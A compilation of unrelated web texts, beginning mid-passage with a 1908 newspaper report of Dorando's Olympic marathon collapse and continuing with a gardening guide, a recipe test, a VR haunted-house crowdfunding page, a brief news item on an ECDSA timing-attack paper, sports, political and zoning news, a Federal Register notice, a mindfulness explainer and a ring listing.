the Stadium grounds to a motor-cab and be driven to his lodgings. Hayes also went away early in the evening, and, so far as is known, the other competitors have not suffered any serious effects.  At the dinner which was last night given by the British Government to the representatives of foreign countries taking part in the Olympic Games, and at which Sir Edward Grey was present, Lord Desborough said he wished to announce that the Queen would be pleased if the Italian representative would accept from her personally a cup in honour of the practical though not de facto victory of Dorando that day. The Queen wished to show her appreciation of the splendid running of the Italian by giving him personally a cup.  After all our high hopes that England was the land of the long-distance runner, we have still to win the marathon race. Our failure to do so at the former races was believed to be due to the fact that we were unable to be represented properly, but when the struggle was to be over our own roads many of us thought it was as good as won. As it happened, we were beaten by our own weather as well as 12 of our opponents. The little Italian Dorando, who stumbled round the tape after receiving help from his friend (which opened the unhappy business of protests), seemed, until the last mile, least of all to feel the heat. But the South African Hefferon, the Amercan Hayes, and even the Swede Svanberg were all much less distressed than the Englishmen. The success of the Americans, who had three men in the first five, however much they may supposed to revel in the hot weather, calls for another revision of our ideas about the athletic resources of that inexhaustible country. The finish of the contest, with its pitiable and dramatic incidents, will give the Marathon race a place by itself in the history of our sports, tinging it with something of the grimness of its origin...  News of the start at Windsor came to swarms of Londoners as they took their way to Paddington and Baker-street Stations to catch the race on the outskirts. The Prince of Wales had fired the electric gun, and the Crown Prince of Sweden had started off the field of 55 runners, these including the Canadian Indian Longboat, whose entry had been so severely opposed. Duncan, the Salford Harrier, who was favourite for the cup, had got off easily, and the running was being made by Clarke and Lord. All the places on the route where the train touched were buzzing with people. The City must have been half empty, the City man and his clerk were here in their tens of thousands, and there were huge clusters of Americans and foreigners with flags to betray them. There were few Frenchman for the nation was not competing. The heat seemed to be getting worse after two o’clock, and it was felt that whatever might be done no records would be broken near the half way post .... A programme somewhat deficient in interest had been arranged to occupy the earlier part of the afternoon at the Stadium before the Marathon race was timed to finish. The crowd, estimated at 70,000 at least, bore it in great patience, and even raised a little interest in high diving and pole jumping. But it was evident that the idea of a thrilling finish to the great race had caught the popular imagination. The heat of the blazing summer day had brought colour to the tiers of seats surrounding the arena. On the sunny side were rows of sunshades of every conceivable hue, and one could not help contrasting the scene with that of last week, when a handful of spectators had herded together under dripping umbrellas. Now they waved fans improvised from newspapers, and seemed uncomfortably hot at that.  The Stadium looked full at three o’clock, with streams of people steadily pouring up the gangway and finding room somewhere. The earliest moment at which the Marathon winner could could be looked for was five, so for two hours the spectators had to make the best of what the programme offered. They had the pleasure of seeing the Americans carry off every single heat of the 110 metres hurdle race and cheered so heartily that it was plain they bore no malice...  At length rumour, with one wild swan song of inaccuracy, had done with us, and in tense and painful silence the onlookers awaited the arrival of the first men. The gangway was clear. It looked as though the winner had only to burst through, run round a section of the track, and burst the tape, a little exhausted, perhaps, at the foot of the Royal stand. It was, however, a very different thing that actually happened. Over the cycle track came a string of officials, who stood aside. Then a gaunt, bony figure struggled through. His head was bound up in a handkerchief. Through the glasses, one could see his face, half dreamy, half frantic. It was easy to see that the man was almost delirious. He staggered across the cement track and was pushed in the direction he was required to go. He had run so far he lifted his legs mechanically and as he lifted them friendly hands gave him a push, so that he made some progress. Dimly at the back of his mind he seemed to know that he was wanted to run, and he went through the necessary motions.  Marathon runner becomes Australia's oldest track and field Olympian Read more  So Dorando progressed along the track till he came to a bend, where he fell. Willing hands – they were too willing - raised him and pushed him on again, but he collapsed once more. It looked as though exhortations to courage were being whispered to him, and they had the effect of rousing him to energies of which he was not truly capable. A crowd surged round him as he collapsed once more, and policemen were called onto the scene to keep it back, while the truly unfortunate man was put upon his feet and pushed once more towards the goal.  Five times in all did Dorando collapse in the short quarter of a mile that lay between the gate and home; and at the last, as he lay on the ground, only twenty-five yards to the tape, Hayes, the American, entered the course. Overcome as he was, the Italian seemed to understand the importance of the news; he staggered once more to his feet and was half carried, half propelled, to the finish, where he collapsed utterly. Hayes came along on his own legs, but did not arrive soon enough to catch the first cheer of the crowd, which spent the first of its enthusiasm on the Italian. And on the flagstaff the Italian flag fluttered, with the American just below it.  To the shouting spectators the finish was a marvellous spectacle of endurance under adversity. A man must run his own race, however, and if he falls by the wayside his supporters may succour him, but they may not propel him. It was obvious in their saner moments to many who had helped the Italian to finish that they were thereby utterly ruining his chances of any place at all in the race. As a result of this scene, which ought never to have happened, Hayes, the American, entered a protest, which was upheld by the judges and he was awarded the race.
-Don’t have a garden? You can still own a fruiting olive tree, grown in a container. A sunny balcony and the right climate are the essential things; that, and time.  Italians have grown fruit trees in containers for centuries, keeping them protected in special sheds during the winter.  Come spring, the trees are wheeled out to the sunshine again. While we can dream of owning an olive grove like the one we visited in the Galilee, olive trees successfully grow in pots too.  Assuming your climate suits the olive, you should acquire a sapling from a nursery. Olive trees grown from pits revert to the original wild olive, and if they produce fruit at all, it will be wizened and not very good to eat. Consult the nursery manager and choose the variety you’d like best. To maximize fruiting potential, you should actually have two of the same variety in the area. This may be impractical where there’s limited space, of course.  When to plant: Spring is the best time to re-pot the sapling into its permanent container. Tender saplings suffer under frost or harsh winter weather, so it’s best to transplant after all danger of frost has passed. When the temperature threatens to dip under 50°F/10ºC, the tree should be brought indoors. It may be taken out to enjoy the sunshine on warmer days. A trolley, on which the container stands permanently, is useful there.  Choose a spot that gets plenty of full sun and only partial shade. Have a clay pot about 2 feet/61 centimeters deep and the same width at the ready. No need for pebbles or other drainage device at the bottom. Pour enough soil in to cover the bottom thickly. Knock the sapling out of its original container and place in the new pot. Fill the pot with soil around the tree and make sure it stands stable. Water thoroughly.  Soil and watering: ordinary potting soil; no special fertilizers or compost at first. Wait until there are signs of growth in the following spring to add compost or concentrated fertilizer to the soil.Keep the soil lightly moist, but not over-watered. A mature tree can withstand drought, but until a sapling is established and thriving in its new environment, it needs light moisture.  Care of the tree: the very good Olive Oil Source site recommends pruning with caution for the first four years: remove branches under 3 feet/91.5 centimeters as well as suckers. Others recommend watching for flowering and then pruning off the tips of the branches, above a pair of leaves, as well.  Plant hygiene: watch out for scale infestation. Buy a natural insecticide product from the plant nursery. Traditional Mediterranean farmers whitewash the bottom half of the trunk to keep ants away. Weed out any wind-born seedlings the minute you notice them.  The next step is to enjoy the lovely sight of the tree’s silvery-green foliage moving while the breeze rustles through it. Because it may take up to five years before it produces any fruit for you. You’ll need to discuss when you can expect fruit with the gardener at the nursery. But by then you and the tree will have become good friends, and the fruit will be a nice bonus.  More about olive trees and olives:  Get Social! Facebook  Twitter  Email  LinkedIn  Print  More  Telegram  WhatsApp  Google  Reddit  Pinterest  Tumblr  Pocket  Comments  comments
-"A homely and savoury dish" according to Mrs Beeton, toad in the hole was originally made with any old meat that came to hand – the original domestic goddess suggests rump steak and lamb's kidney, while a reference a century earlier glosses it as "baked beef in a pudding" and Hannah Glasse gives a recipe for pigeons in a hole.  Charles Francatelli's Plain Cookery Book for the Working Classes (1852), meanwhile, is frank about the main attraction of the toad – its price. "To make this a cheap dinner, you should buy 6d. or 1s. worth of bits or pieces of any kind of meat, which are to be had cheapest at night when the day's sale is over. The pieces of meat should be first carefully overlooked, to ascertain if there be any necessity to pare away some tainted part, or perhaps a fly-blow, as this, if left on any one piece of meat, would tend to impart a bad taste to the whole, and spoil the dish" he writes, temptingly.  Clearly toad in the hole (a phrase that tellingly makes its way into the 1811 Dictionary of the Vulgar Tongue), was a way of stretching meat – any meat – a bit further, with a filling and thrifty batter. It does the same for its modern-day incarnation: you can get away with serving one sausage each if you've got enough batter and a good gravy. But, whether you're on a tight budget or not, toad in the hole is no croak of a dish: enjoy it, warts and all.  The toad  Nigel Slater's toad in the hole. Photograph: Felicity Cloake  There are several modern recipes that draw on the more ancient tradition of the toad in the hole: Hugh Fearnley-Whittingstall's River Cottage Meat Book suggests a "flying toad in the hole" with pheasant breasts and prunes, while the Ginger Pig Meat Book stuffs the sausages into pieces of chicken. Although in a straight fight pheasant would clearly win, choosing between different meats seems a rather silly exercise in this context, so I'm going to stick to a sausage-only toad.  After trying almost every variety under the sun, those sausages should, I think, be pretty plain affairs – tasting mostly of pork rather than leek, apple or (shudder) chilli – anything too strident makes the batter seem unfairly bland by comparison. That said, the more mildly spiced British sausages, a herby Lincolnshire, or a peppery Cumberland, can also work well.  My devotion to Nigel Slater prompts my one deviation from the sausage-only path; he wraps his sausages in pancetta, like posh pigs in blankets, before baking. It's rare for me to veto cured pork, but here I'm not keen: the fat from the pancetta melts during cooking, so the sausages seem to stew in it rather than browning, and the whole thing tastes overwhelmingly of bacon.  Delia Smith's toad in the hole. Photograph: Felicity Cloake  As in the recipe in Simon Hopkinson and Lindsey Bareham's nostalgia-fest The Prawn Cocktail Years, Nigel skins his sausages before baking. Nigella also does this, complaining that "I really don't like the way that the sausages, when this is prepared in the traditional manner, go a spooky braised pink as they cook within the batter".  I'm also a bit squeamish about pallid bangers, but baked skinless sausages end up dry – much better to do as Smith, Dorothy Hartley, Paul Gayler and Jane Grigson do, and pre-cook the sausages before adding them to the batter. Brown them well and there's no danger of flabby disappointment: frying, as Mrs Grigson suggests, works better than Smith and Gayler's baking – it's easier to turn them, they stay juicier and you can use the delicious sausage-flavoured cooking fat to grease the baking tin.  Better batter  Dorothy Hartley's toad in the hole. Photograph: Felicity Cloake  A good sausage is always a treat but tasty batter takes a little more work. I experiment with milk (Grigson), milk and water (Slater and Smith), milk and sparkling water (Simon Hopkinson and Lindsey Bareham) and milk and pale ale (Gayler). The all-milk pudding is definitely richer, but also noticeably softer and doughier. Water gives a crisper result, and sparkling water, as the authors note, an even lighter batter – but the flavour isn't as good. Using a mildly sparkling beer instead means the batter is both light and tasty, and handily leaves you with most of a bottle to enjoy while the toad cooks.  I don't find Smith allows enough batter for the number of sausages: it's too thin and, although it does rise, it doesn't put on the spectacular display of Grigson or the Prawn Cocktail Years' puddings. Nothing can match the batter from Hartley's Food in England though, which adapts a batter pudding recipe for toad in the hole, and whisks the egg whites to stiff peaks before folding them in. This rises over the sausages, completely encasing them, and creating something more akin to a toad cake – unusual, certainly, but not quite what my testers were hoping for when I promised them toad in the hole.  More successful is the Prawn Cocktail Years batter, which is deemed to boast the perfect balance of crisp top and soft, slightly gooey interior. I suspect this is partly down to the prolonged beating of the eggs, which gives the batter real volume.  Like most other recipes, save for Smith's, the batter is left to rest for 15 minutes before use, which the Leith's Meat Bible helpfully explains allows the starch cells in the flour to swell, which apparently makes for a lighter end product. Smith says she's never found that it makes a difference, but as far as I'm concerned, the results speak for themselves: the toad don't lie.  Paul Gayler's toad in the hole. Photograph: Felicity Cloake  Getting the pan nice and hot, as almost everyone suggests, is essential for a crispy base – the fat (I like dripping or lard; Smith's groundnut oil is deliberately bland, and Gayler's olive oil all wrong here) should be smoking, and the batter must sizzle as it hits it. Grigson coats the base of the tin with a thin layer of batter and bakes for 10 minutes "to set" before adding the remainder, along with the sausages, but I don't find it makes much of a difference. Batter first, sausages immediately afterwards seems to work best: sausage first, a la Delia, means the toad has a leaky bottom.  Gayler makes individual toad in the holes in a muffin tin. They look cute – and one of my testers argues passionately that they ensure a more equitable ratio of batter to sausage – but I find them soggy in the middle: there's just not enough room for both the batter and the sausage to live in peace.  Extras  Simon and Lindsey coat their sausages in ketchup and add sage leaves to their batter, both of which I find overpowering. A much happier a match, in my opinion, is Nigel Slater's wholegrain mustard, which studs the toad with crunchy seeds and lends a welcome heat to proceedings. That's about as fancy as Mr Toad should get.  Perfect toad in the hole  Felicity Cloake's perfect toad in the hole. Photograph: Felicity Cloake  Serves 2–4 depending on appetite  3tbsp beef dripping or lard  6 sausages  2 eggs  100g plain flour, sifted  85ml whole milk  85ml ale  1tbsp wholegrain mustard  1. Preheat the oven to 220C. Heat half the fat in a frying pan over a medium heat and brown the sausages on all sides (this is labour-intensive but worth it).  2. Meanwhile put the eggs in a large bowl and beat, preferably with an electric hand whisk, until thick. Beat in the flour and milk alternately until smooth, then stir in the ale and mustard and leave to sit for 15 minutes.  3. Put the remaining fat in a roasting tin (mine's about 26cm x 21cm) and put in the oven to heat. Once the sausages are browned all over, and the batter has rested, take it out of the oven and put over a medium flame. Pour in the fat from the sausage pan, followed by the batter, which should sizzle as it hits the tin. Add the sausages and return to the oven.  4. Bake for about 35 minutes until well risen and golden, then serve immediately, preferably with good gravy and lots of peas.  Toad in the hole: a school-dinner classic, or a waste of good sausages? Is there a better batter pudding out there, and, most importantly of course, does anyone know how on earth it got its name?
-About  Thrill seekers, horror enthusiasts, and technology lovers, here is an experience you won't want to miss.  The VRcade Nightmare Machine is the world's first full-motion virtual reality haunted house attraction, and it's exclusive to Seattle.  Put on the custom 3D VRcade headset and headphones, and wirelessly move, duck, hide, and panic in wireless, unconstrained space for 5 intense minutes with no controller to fumble with; just your natural movement, your wits, and a world of infinite terror.  Unlike a horror movie, you get to actually interact with the experience in ways never before possible. Are the footsteps real or just your imagination? What happens when the floor collapses beneath you? Will your flashlight be enough to ward off bats, spiders, demons, and zombies? Absolutely not.  What cannot exist in the real world is very much possible in The Nightmare Machine. You cannot imagine the terrors that await when the impossible is staring you in the face.  The Nightmare Machine is our twist on a haunted house. For the entire month of October, Seattle will be the first city in the world to experience VRcade's platform as it powers this intense horror experience, hosted at the iconic EMP Museum.  See our local news coverage below for a more in-depth look at the teaser experience.  VRcade is the world’s first virtual reality services facility, located in Seattle Washington. Our aim is to create a virtual reality experience that cannot yet be obtained in the home without spending 100’s or even 1000’s of dollars. We have created our own platform, which is a combination of custom and 3rd-party hardware and software, which when combined, deliver the exact experience we wanted to achieve. The result of our years of hard work allow us to deliver a level of intuitive interaction, fidelity, range, and flexibility, exceeding what users are currently used to in the home. We then take all of this technology and let you enjoy it! There are no longer any barriers to a quality VR experience.  While we strive to cater to all markets, our main focus remains on architectural visualization, which allows brokers, architects, interior designers, and their clients to see, hear and interact with their space in ways that were previously impossible. Underneath the professional services, we still remain connected to our gaming and entertainment roots. In fact, The Nightmare Machine is not our first successful immersive experience. In December of last year, we contributed our own ‘fan art’ to EMP's Doctor Who 50th Anniversary Celebration. We measured our success by the fact that we had the longest line at around 3 hours! Needless to say, it was wildly successful for us. So we've improved the system, we've expanded our standard formula, and we are back with The Nightmare Machine.  There are several technologies and concepts that make the VRcade platform unique and immersive. For instance, the system uses optical motion capture cameras for tracking both props and users, including any and all parts, down to the fingers. We take this tracking and apply it to how the user sees, hears, and interacts with the simulation using a custom HMD (Head-Mounted Display), binaural audio, pumped through high-quality headphones, and their own natural movements. This creates an intuitive way to experience and control a virtual world, that suddenly seems less virtual and more 'reality'. Because of this combination of technology and software, we do not need to rely on other forms of input and interaction, such as a joystick or omni-directional treadmill.  On top of that, we deliver the whole experience to up to 4 users wirelessly, removing the need for a pesky tether of cables that can disconnect a user from the immersion we are trying to maintain. The end result is so immersive, that your mammal brain knows it couldn't possibly be real, but your reptilian brain responds as though it is. This experience delivers the first steps to the promise of VR we all remember from the 90's, and it's only going to get better from here.  We will be using Faceshifts markerless motion capture technology to scan the heads of select backers to be featured in The Nightmare Machine. With accurate color representation and 3D geometry, the results are spooky. As the heads sit on the shelves of the Doctor's twisted laboratory, each pair of eyes will dart between the current victims participating in the experience.  Head Scan Technology:  At VRcade, we use faceshift technology to accomplish 2 goals. One, we provide a means for you to get your head scanned and placed into The Nightmare Machine as part of the horror attraction. As you can see, your friends will be able to easily recognize a familiar face once inside.  The other way we use faceshift is to record the animations of all of our actors to provide the most convincing and immersive performances. We can even control characters like Dr. Virago live, breaking the barrier between what is real and what is just a virtual world.  One of the most rewarding things about building a new platform is getting developers involved and building their own unique projects that use it. So we are inviting any and all developers to collaborate with us on this exciting and unique opportunity. It doesn’t matter if you are local or remote, we will facilitate the collaborative effort in whatever way we can. We are looking to build relationships with all developers who want to explore or create in VR. We feel this is a great way to foster that relationship, so throughout this campaign, we will be hosting Nightmare Machine game jams at our VRcade HQ, allowing you to create short, intelligently terrifying experiences which will debut in October at the EMP. We will work side by side with our developers, giving them access to our facilities (including all of our hardware and software), guidelines for creating an experience, and of course credit for their contribution to a historical moment in virtual reality.  So if you are an artist, musician, code-monkey (or code-ninja), game designer, narrative designer, hardware specialist, visit our humble little developer portal and get in touch!  By backing this event you will receive one or more of the following rewards based on your backer tier:  To make it easier to understand where all the money is going, we've divided this zombie into easy-to-visualize parts:  As you can see, the majority of the money raised in this campaign will go towards building hardware. A chunk gets set aside for Kickstarter, a small portion goes to indie developers who win the game-jam competitions, and then the last major piece will go towards paying for additional staffing and decorations for the event. We want to make sure you have the best end-to-end experience, and this means making everything look and feel like a traditional haunted house and make sure there is plenty of assistance to make the whole process run smoothly and make sure nobody gets hurt.  You will notice that no initial percentage goes towards Experience Development. That is because we are going to be doing this one way or another. We're hoping the horror development community will help in a big way, but we're also dedicated to making this a success. That being said, any extra funds raised from the campaign that exceed the target goal will go towards additional experience development on our end. That is just like it sounds: the more money we raise, the better and more terrifying the experience for you! So tell everyone you know, get your head scanned and come to the party. Most of all, let's have a lot of fun with this!  Thanks to our friends at OCVR, we have unknowingly completed our first game jam for The Nightmare Machine. We have scheduled the remaining game jams for August and are well on our way to completing the software framework that brings the entire experience together. We also recently hosted our first two play-test sessions, provided some decent scares, and have received some good feedback to make the experience even scarier for the rest of you.  Each weekend during the campaign we will be holding a game jam to get us closer to our first live test at EMP museum on September 15, 2014.  Nightmare Machine  Children under 7 may not be admitted into The Nightmare Machine.  If you are pregnant, elderly, have a heart condition, or you have a history of seizures, it is not recommended that you use The Nightmare Machine.  All participants must sign and agree to a waiver of liability for injury or other personal damage.  Anyone with a condition which is worsened by fear, anxiety, 3D visuals, or intense images and sounds should not attend The Nightmare Machine.  Intoxicated individuals may be asked to leave the line or The Nightmare Machine at any time.  Tickets and Scheduling  ALL Kickstarter backers must schedule their time to attend The Nightmare Machine through the VRcade approved scheduling system.  Tickets are valid only after ticket holder has scheduled time in the VRcade approved scheduling system. Tickets are valid only on the dates assigned through the scheduling system. No refunds on unused tickets, rainchecks, or replacements. Tickets may only be used during normal operating hours. There is no guarantee of make-up time if a scheduled time is missed by ticket holder.  General EMP terms of use apply (http://www.empmuseum.org/about-emp/terms-of-use.aspx).  Tickets are not valid if reproduced in any manner. Tickets will be scanned before entry.  Due to maintenance and other unseen circumstances, Nightmare Machine entry may be temporarily suspended.  Head Scan  Backers must be present IN SEATTLE on designated days to have their head scanned.  Certain unforeseen conditions may prevent a perfect head scan.  Experience  Contact lenses are preferred over glasses for maximum comfort in the VRcade head mounted display. Very few people have ever reported discomfort while wearing the VRcade HMD.  If you feel sick, dizzy, or nauseous, simply close your eyes and ask for help in removing your head mounted display.  Users must adhere to VRcade rules and regulations while in the experience to avoid personal injury to themselves or others.  VRcade, Inc cannot be held responsible for any Acts of God that may result in personal discomfort or unforeseen technical conditions.
-Source: PDF: Remote Timing Attacks are Still Practical Researchers Billy Bob Brumley and Nicola Tuveri have used a "timing attack" to calculate the secret key of a TLS/SSL server which uses the Elliptic Curve DSA. The attack is based on the idea that the time required for performing a multiplication allows conclusions to be drawn about the multiplication's operands.  Elliptic Curve Cryptography is often used for asymmetric methods, such as RSA or DSA, that usually require very long keys. These methods derive their security from the high level of difficulty involved in calculating the discrete logarithm for the group of points on the elliptic curve. With ECRSA, for example, a 160-bit key provides a level of security that is similar to the level a 1024-bit key offers with RSA.  For their tests, the researchers set up an SSL server with OpenSSL and measured the time it took to create a digital signature using Elliptic Curve DSA (ECDSA). This allowed them to calculate the server's secret key. When establishing an SSL connection via the local loopback interface, they managed to do this almost instantaneously. While packet transfer times on a local network caused measurement uncertainties, these uncertainties could be compensated for with some further calculations. Overall, the attack described in Remote Timing Attacks are Still Practical also proved feasible over a network.  No working countermeasures have so far been found; the US-CERT advises that ECDSA should no longer be used for digital signatures. To prevent this type of attack, the researchers recommend implementing time-independent functions for operations on elliptic curves.  (crve)
-South Carolina has added another graduate transfer to its roster for this season. Maine guard Wes Myers will enroll this year and play the 2017-18 season for the Gamecocks, according to a report from Jon Rothstein.  Maine grad transfer Wesley Myers has committed to South Carolina, per a source. Immediately eligible. Averaged 16.9 PPG. — Jon Rothstein (@JonRothstein) August 16, 2017  This will be Myers' third Division I program. He began his collegiate career at Niagara for the 2014-15 season and then transferred to Maine the next year and had to sit out due to NCAA transfer rules. This past season, he averaged 16.9 points per game for the Black Bears. Playing in 28 of his team's games, Myers averaged 30.1 minutes played and 4.5 rebounds per game. He hit 78 percent of his free throws and 44 percent of his shots.  Myers stands 6-foot-2 and 186 pounds.  South Carolina also added Florida Atlantic graduate transfer Frank Booker to the roster this season.
-Mitt Romney has a 40-point lead over President Obama among active and reserve service members, according to a new poll from the Military Times.  The survey found Romney with a wide 66-26 lead that is similar to the advantage enjoyed by Sen. John McCain John Sidney McCainGOP lobbyists worry Trump lags in K Street fundraising Mark Kelly kicks off Senate bid: ‘A mission to lift up hardworking Arizonans’ Gabbard hits back at Meghan McCain after fight over Assad MORE (R-Ariz.) over Obama in the 2008 race.  For military voters, the economy was by far the most important issue, with 41 percent of respondents saying it was most important issue for them in the upcoming race. National security came in at just 16 percent.  The Military Times poll surveyed 3,100 active duty, National Guard and reserve troops via email who subscribe to the paper.  ADVERTISEMENT  Romney’s lead is 2 points less than the advantage McCain held, who was up 68-23 with military voters. McCain might have had a greater advantage given his military service. The senator is a war hero whose years in a Vietnam POW camp are well-known. Neither Obama nor Romney served in the military.  Both campaigns have made an active pitch to veterans, particularly in battleground states such as Florida that have a heavy military presence. Romney has consistently led in polls among veterans as well.  The Military Times poll found respondents were most critical of Obama on the defense budget, but also disapproved of his handling of the war in Afghanistan by a 2-to-1 margin.  The troops supported his decision to keep the U.S. military out of the Syrian conflict 44 to 38 percent, and were split the other way, 36-47, on the withdrawal from Iraq.  Poll respondents disapproved of the repeal of the “don’t ask, don’t tell” policy preventing gays from serving openly in the military. Fifty-three percent disapproved of the repeal compared to 34 percent who approved of it.
-by BRIAN NADIG  The 41st Ward Zoning Advisory Committee is scheduled to discuss a proposal to build a two-story home in the Norwood Park Circle at its meeting on Wednesday, Sept. 7.  Plans call for the demolition of a one-story frame garage on the 6,870-square-foot parcel at 6854 W. Thorndale Ave. and for construction of a 2,363-square-foot house with three bedrooms and 2.5 bathrooms. The meeting will be held at 6:30 p.m. at the Olympia Park fieldhouse, 6566 N. Avondale Ave.  The site is in the Norwood Park Special Character Overlay District, which was created to preserve the single-family home atmosphere and oversized lots in the area. Under the RS-1 zoning of the site, the minimum lot size is normally 6,250 square feet, but the overlay district increases the minimum to 7,500 square feet.  The developer for the project is seeking a variation from the Zoning Board of Appeals to allow the construction. A variation can be sought if the existing lot is not less than 90 percent of the required minimum area.  However, a resident recently informed Alderman Anthony Napolitano’s office about a 1978 ruling in which the Illinois Appellate Court said that a house could not be built on the site because it had been improperly subdivided from two nonconforming lots on East Circle Avenue. The Thorndale property is behind the lots at 5901 and 5909 N. East Circle Ave., and those lots do not conform with side-yard requirements.  Under the zoning code, properties generally cannot be subdivided if it would create a nonconforming condition or increase an existing one. In some instances, properties can be rezoned to reduce yard and density requirements, allowing the subdivision.  Napolitano’s chief of staff Chris Vittorio said that he is seeking clarification from the city Bureau of Zoning and Land Use on whether the project would be feasible under the zoning code. He said that the developer is planning to purchase the foreclosed property from a bank.  Meanwhile, the committee tentatively plans to meet in early October to discuss a proposed four-story building with 44 residential units and a 156-space parking garage at 6655 N. Oliphant Ave. The developer is seeking to have a parking study conducted for the project, Vittorio said.
-17 August 2009  [Federal Register: August 17, 2009 (Volume 74, Number 157)] [Notices] [Page 41482] From the Federal Register Online via GPO Access [wais.access.gpo.gov] [DOCID:fr17au09-131] ----------------------------------------------------------------------- DEPARTMENT OF STATE [Public Notice 6730] In the Matter of the Designation of Revolutionary Struggle aka Epanastatikos Aghonas as a Specially Designated Global Terrorist Pursuant to Section 1(b) of Executive Order 13224, as Amended Acting under the authority of and in accordance with section 1(b) of Executive Order 13224 of September 23, 2001, as amended by Executive Order 13268 of July 2, 2002, Executive Order 13284 of January 23, 2003, and Executive Order 13372 of February 16, 2005, I hereby determine that the organization known as Revolutionary Struggle (aka Epanastatikos Aghonas) has committed, or poses a significant risk of committing, acts of terrorism that threaten the security of U.S. nationals or the national security, foreign policy, or economy of the United States. Consistent with the determination in section 10 of Executive Order 13224 that ``for those persons * * * determined to be subject to the order who might have a constitutional presence in the United States * * * prior notice to such persons of measures to be taken pursuant to this order would render these measures ineffectual,'' I determine that no prior notice needs to be provided to any person subject to this determination who might have a constitutional presence in the United States, because to do so would render ineffectual the measures authorized in the Order. This notice shall be published in the Federal Register. Dated: July 31, 2009. Hillary Rodham Clinton, Secretary of State, Department of State. [FR Doc. E9-19723 Filed 8-14-09; 8:45 am] BILLING CODE 4710-10-P
-Mindfulness has become a trendy word that is used to describe everything from yoga exercises to colouring activities. It can be hard to find a simple way to explain it, especially to children.  This is how I explain modern secular mindfulness to both kids and adults. I try to keep it simple.  How to explain mindfulness to young kids:  Mindfulness is simply… noticing what is happening right now.  Mindfulness is taking notice of how your body feels and what you see, smell and taste. Maybe you even feel emotions in your body, perhaps through a tightness somewhere, or a good sensation.  Mindfulness is also noticing what your mind is doing.  What happens when you start noticing these experiences?  When you notice what is happening around you, you focus more deeply, and that attention to your own senses will help you improve in diverse areas of your life.  Improved focus can help you achieve at higher levels in sports, school or music. It will help you score higher on tests, too. We always do better when we’re able to pay attention to what we’re doing, right?  But there’s more…  When you notice what is happening around you, it can help you to calm down when you’re sad, angry or frustrated. Mindfulness helps you deal with tough emotions, and mindfulness can make you happy and feel good.  Would you like to try it out? I would!  That’s a great way to start talking about mindfulness with younger children.  How to explain mindfulness to teens:  When talking with adolescents, you could simply expand on the previous explanation and say that mindfulness is a basic life skill that can benefit us in many ways.  A popular way to put it is to say: mindfulness is about paying attention in a particular way – on purpose, in the present moment and without judgment.  The non-judgment part means that we simply have an experience without contemplating if the experience is good or bad. By doing this, we develop more self-awareness, emotional balance, and impulse control. It’s about recognising our inner and outer experiences and understanding how they affect our well being.  How does mindfulness work?  We tend to be reactive. For example, when someone says something we don’t like to hear, we react. Sometimes we say something that we would like to take back the moment after we blurt it out. Or we are knocked down by a heavy emotion and it can take days to bounce back, sometimes even weeks.  Mindfulness helps us create space between a strong emotion and our actions. We learn to deal with positive and negative experiences more calmly and by making better decisions.  When we pay attention to our thoughts and feelings, we can respond in a more clever way, without hurting our own feelings or the feelings of others.  As we create more emotional balance, we are less easily knocked down by our emotions, but in moments when we are knocked down, we bounce back faster.  Pretty awesome, isn’t it? Most adolescents deal with strong emotions, and mindfulness skills can really make a difference. Now that you know more about mindfulness, would you like to give it a try?  What is the goal of mindfulness practice ?  “Between stimulus and response, there is a space. In that space lies our freedom and power to choose our response. In our response lies our growth and freedom” – Victor Frankl  Mindfulness helps us sustain our awareness more often and for longer periods. We can begin to practice mindfulness by adding many brief moments of awareness into our lives on a daily basis.  This awareness comes with lots of benefits.  Here are some of the good things mindfulness can bring to your life:  Mindfulness helps us create space between the emotions we have and the actions we use to respond to them.  Mindfulness helps us focus.  Mindfulness can make us feel better emotionally and physically.  If you need studies as proof to practice mindfulness, you’re in luck: thousands of studies have documented the physical and mental health benefits of mindfulness. Benefits such as;  decreased stress and anxiety,  improved health,  better sleep,  improved focus and awareness,  better problem solving,  improved impulse control,  increased compassion and kindness,  stronger relationships,  altruism,  and even higher life satisfaction.  Wow, now that’s an impressive list! :) Did you know that studies have shown that practicing mindfulness, even for just a few weeks, can bring a variety of physical, psychological, and social benefits?  Before we start believing mindfulness is a panacea, it’s important to point out that mindfulness is not the silver bullet that will solve every problem.  Even if we practice mindfulness, we will still experience difficult feelings and mental chatter. However, with mindfulness, we can change our relationships with our emotions, thoughts and negative self-talk.  We don’t have to believe every thought we have, or be knocked down so often by our emotions. Sometimes we can let our thoughts drift by and then disappear, just like a cloud in the sky.  Here’s one more fun definition. A friend of mine says mindfulness is… like being the best possible parent to yourself. Present, gentle, attentive, compassionate and grateful for each moment. I love that definition.  I hope this short introduction will help you communicate the idea of mindfulness to your family.  If you are new to mindfulness with children we recommend our online courses: Get notified here!  May you be happy and healthy!  Chris ( Chief Mindfulness Ninja @ Blissful Kids )  See also:  Mindfulness And The Brain Made Easy  Chris Bergstrom is the co-founder of BlissfulKids.com and a dad who is thrilled to practice mindfulness with his son. He is a certified mindfulness facilitator, and trained to teach mindfulness to students in K-12. He’s also an executive consultant, and has taught meditation for more than 10 years.
-Home > Silver Rings >  Sterling Silver 6 Piece Puzzle Ring  Product Code: S02426  Face Height: 11 mm (0.43 inch)  Metal Material: Sterling Silver  Item# Item Name Our Price Qty Add S02426-06 Sterling Silver 6 Piece Puzzle Ring - Size 6 $9.97 S02426-07 Sterling Silver 6 Piece Puzzle Ring - Size 7 $9.97 S02426-08 Sterling Silver 6 Piece Puzzle Ring - Size 8 $9.97 S02426-09 Sterling Silver 6 Piece Puzzle Ring - Size 9 $9.97 S02426-10 Sterling Silver 6 Piece Puzzle Ring - Size 10 $9.97 S02426-11 Sterling Silver 6 Piece Puzzle Ring - Size 11 $9.97 S02426-12 Sterling Silver 6 Piece Puzzle Ring - Size 12 $9.97 Check the items you wish to purchase, then click  Share your knowledge of this product. Be the first to write a review »
